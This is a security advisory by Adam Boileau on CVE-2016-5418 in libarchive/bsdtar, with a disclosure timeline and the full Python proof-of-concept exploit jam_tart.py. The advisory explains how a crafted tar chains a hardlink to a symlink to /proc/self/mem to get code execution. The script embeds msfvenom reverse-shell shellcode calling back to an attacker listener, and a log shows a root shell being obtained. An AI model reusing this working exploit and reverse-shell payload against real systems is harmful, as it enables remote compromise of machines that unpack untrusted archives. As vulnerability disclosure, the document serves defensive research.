'. .' ___ _ _ ____ ___ __ __ _ ._ \_/ _ |_ _| \ | / ___| / _ \| \/ | \ | |( ) / / \ | || \| \___ \| | | | |\/| | \| | ' / _ \ | || |\ |___) | |_| | | | | |\ | '/ ___ \ |___|_| \_|____/ \___/|_| |_|_| \_|\ //_/ \_\ / ' \ [ Jam_TARt ] ' ' BSDTar / LibArchive Code Exec (on Linux) Adam Boileau (@metlstorm), Insomnia Security, July 2016 (aka "Jam_TARt.py", subsequently allocated CVE-2016-5418) -=-=-=-=- Libarchive has an open bug https://github.com/libarchive/libarchive/issues/746, which reports that a crafted tar archive which contains an Archive Entry with type 1 (hardlink), but has a non-zero data size will result in the data being written to the file which is the destination of the hardlink. It combines this with hardlinking to a symlink that is earlier in the tar archive, which is itself symlinked to a location outside of the current working directory of tar. On at least Linux and FreeBSD this results in circumvention of the normal restrictions on absolute and ../../ path traversal (and the natural scope of hardlinks to a single filesystem), leading to overwrite of arbitrary files writable by the user executing bsdtar x. This issue's impact is, in the bug report, limited to arbitrary file write. On Linux at least, this issue is in fact able to be leveraged to execute arbitrary code as the user executing tar. This is not an unusual outcome for arbitrary write (e.g. being able to write to ~/.bashrc, ~/.ssh/authorized_keys, etc. etc.) but assuming a worst case example for an attacker where there are no usable writable files (e.g. within a single purpose docker container) this might be considered low impact. On Linux, /proc/self/mem is a file which is maps the contents of the current process address space. By creating a tar file which utilises the above hardlink -> symlink -> /proc/self/mem, and using tar's support for sparse files to skip unmapped areas of memory, this bug can simply untar executable code into /proc/self/mem. -=-=-=-=-= metlstrm@porter /tmp $ ./jam_tart.py --== Jam TARt.py Jul 2016 metlstorm@insomniasec.com bsdtar (R)CE ohday :D [.] Using load: msfvenom -p linux/x64/shell_reverse_tcp -f python LHOST=192.168.0.1 LPORT=31337 [.] Writing 74 bytes of shellcode to load Using offset 004098b0 from bsdtar-3.1.2-7.el7.x86_64 [.] Making symlink to /proc/self/mem [.] Generating skeleton pax tar [.] Stuffing the pastry case with jam... [.] Cleaning up temp mess [+] Wrote tart to jam_tar.tar Now feed this tar to bsdtar, and await your shellcode's execution.... :> [root@rhel7 tmp]# uname -a Linux rhel7 3.10.0-327.22.2.el7.x86_64 #1 SMP Thu Jun 9 10:09:10 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux [root@rhel7 tmp]# file jam_tart.tar jam_tart.tar: POSIX tar archive [root@rhel7 tmp]# bsdtar -h | tail -1 bsdtar 3.1.2 - libarchive 3.1.2 [root@rhel7 tmp]# bsdtar xf jam_tart.tar load: Can't set permissions to 0644 bsdtar: Error exit delayed from previous errors. ........... MEANWHILE....... metlstrm@porter:~$ nc -l -p 31337 id uid=0(root) gid=0(root) groups=0(root) hostname rhel7 -=-=-=-=- This approach of writing to /proc/self/mem of course requires somewhere appropriate to write, in this case to the address of the .fini segment of the ELF, which does not appear to be ASLRed (at least, on my RHEL7, Ubuntu LTS), so is usable for remote code execution where a remote system unpacks an attacker supplied tar with /usr/bin/bsdtar. (The PoC attached was developed for use in the wild, where it was successfully utilised remotely. ) It seems likely that, given the existence of the hardlink bug in the public libarchive tracker that Insomnia is not unique in applying the /proc/self/mem write vector. This technique, while not particularly well known, utilises by design behavior, and has previously been leveraged for other exploits (e.g. the exploit for CVE-2012-0056, mempodipper.c, which at that time exploited a mismatch in the way the kernel checked for permissions when opening, and when writing to /proc/self/mem). Skape addressed it in a 2003 paper [http://www.hick.org/code/skape/papers/needle.txt], while the LKML asserts that "/proc/pid/mem has always had write permissions enabled, so clearly it *wants* to be written to." [https://lwn.net/Articles/433326/] Indeed, this style of code execution can be achieved as a per-design (mis)feature with regular gnutar if a user untars in / a tar with the same style of sparse-file-with-shellcode (ie, no hardlink trick, just a regular sparse file called proc/self/mem, and with gnutar needing --overwrite to not fail when it can't unlink the existing /proc/self/mem, providing an amusing vector for RCE where an attacker controls arguments to tar, and the tar file contents): -=-=-=-=- metlstrm@porter / $ tar --version tar (GNU tar) 1.27.1 metlstrm@porter / $ strace -e trace=network tar xf /tmp/jam.tar --overwrite 2>&1 | tail -2 connect(1, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connection refused) +++ exited with 0 +++ -=-=-=-=- Which is less a bug than just a surprising feature (one is left wondering what legitimate use there is for permitting the current process write to /proc/self/mem, rather than limiting it to only the ptrace attached pid). The included PoC exploit (jam_tart.py) generates a tar to exploit this, executing x64 shellcode (here a reverse shell generated by metasploit msfvenom). Libarchive won't let you create a hardlink-with-contents, so the code uses gnutar with --posix to write out a PAX tar with a symlink to /proc/self/mem, and a regular file with a GNUSparseFile data section. It then just patches the Archive Entry header to change the type to hardlink (0 -> 1), sets the link target value to bind the hardlink to the symlink, and then corrects the checksum. In summary, this bug's impact is actually immediate, generic code exec on Linux, not just arbitrary write as the user, and should probably have its fix prioritised. It's not clear there's any mitigation option, other than fixing the underlying libarchive bug. I'm not a regular FreeBSD user, so I'm unaware if it has a similarly ridiculous /proc/self/mem equivalent. If it does... Chur from .nz, Adam -- Adam Boileau (@metlstorm) / Insomnia Security 28 Jul 2016 -=-=-=-=- Timeline: [ 18 May 2016 ] Anonymous report on gist.github.com alludes to "nation state" actors maniupating FreeBSD packaging to gain remote access via bugs in libarchive. This is well interesting: https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f [ 15 Jul 2016 ] The above shows up on the libarchive bugtracker, where it is triaged as a file write. https://github.com/libarchive/libarchive/issues/743 [ 19 Jul 2016 ] "I could really do with a bsdtar RCE..." [ 20 Jul 2016 ] "... well this is interesting" [ 21 Jul 2016 ] "Heh heh :>" [ 28 Jul 2016 ] The above information provided to upstream via RedHat's product security team. [ 08 Aug 2016 ] Patch committed to HardenedBSD's libarchive tree [ 12 Sep 2016 ] Patch to upstream libarchive, RHSA-2016:1844-01 issued. [ 16 Sep 2016 ] This tfile and PoC released. -=-=-=-=- jam_tart.py -=-=-=-=- #!/usr/bin/python print "--== Jam TARt.py Jul 2016 metlstorm@insomniasec.com" print " bsdtar (R)CE ohday :D" # bsdtar (libarchive) 3.1.2 (but presumed up to current as at Jul 2016) code exec # via the hardlink bug reported in Jul 16 at https://github.com/libarchive/libarchive/issues/746 # Tldr is that a tar file with a dir entry for a hardlink, but with a payload # of data lets you overwrite arb files. With some coercion, this turns # into code exec via writing to /proc/self/mem # which is soooo gross :D # This doesn't actually get executed; you have to regen and replace the buf below. PAYLOADGEN="msfvenom -p linux/x64/shell_reverse_tcp -f python LHOST=127.0.0.1 LPORT=31337" # Paste output of msfvenom here buf = "" buf += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" buf += "\x97\x48\xb9\x02\x00\x7a\x69\x7f\x00\x00\x01\x51\x48" buf += "\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" buf += "\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" buf += "\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" buf += "\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" SHELLCODE=buf # Find targets by looking up the location of .fini segment: # RHEL 7: # readelf -S /usr/bin/bsdtar | grep fini # [14] .fini PROGBITS 00000000004098b0 000098b0 TARGETS=[("RHEL7 bsdtar-3.1.2-7.el7.x86_64",0x4098b0), ("Ubuntu Trusty bsdtar-3.1.2-7ubuntu2.3",0x409720) ] # Pick one from above... TARGET = TARGETS[0] FINI=TARGET[1] LINKTARGET="p" #code assumes this is a single byte import os import subprocess import sys # Make sure we're not picking up old bits for f in [LINKTARGET, "load", "skel.tar","jam_tart.tar"]: try: os.unlink(f) except OSError: pass print "[.] Using load: %s" % PAYLOADGEN print "[.] Writing %d bytes of shellcode to load with sparse gap til .fini seg" % (len(SHELLCODE)) print " Using offset %08x from %s" % (TARGET[1], TARGET[0]) f = open("load", "w") f.seek(FINI) f.write(SHELLCODE) f.close() print "[.] Making symlink to /proc/self/mem" os.symlink("/proc/self/mem", LINKTARGET) print "[.] Generating skeleton pax tar" e = subprocess.call(["tar", "cSf", "skel.tar", "--posix", LINKTARGET, "load"]) if e != 0: print "[!] gnutar returned an error: %d" % e sys.exit(1) print "[.] Stuffing the pastry case with jam..." t = open("skel.tar", "r").read() # find the Sparse header o = t.index("/GNUSparseFile.") # find the type, checksum and link target endofsum = t[o:].index("\x00 0\x00") # load octal ascii checksum t = bytearray(t) checksum = int(str(t[o+endofsum-6:o+endofsum]),8) # Patch file type normal (0) -> hardlink (1) t[o+endofsum+2]="1" # Set hardlink target to the symlink t[o+endofsum+3]=LINKTARGET # Fix up the checksum checksum += 1 # Add the 0->1 for the hardlink type checksum += ord(LINKTARGET) # Its a one char filename # And write it out for i in range(0,6): t[o+endofsum-6+i] = oct(checksum)[i] print "[.] Cleaning up temp mess" for f in [LINKTARGET, "load", "skel.tar"]: try: os.unlink(f) except OSError: pass f = open("jam_tart.tar", "w") f.write(t) f.close() print "[+] Wrote tart to jam_tar.tar" print "Now feed this tasty tar to bsdtar x, and await your shellcode's execution.... :>"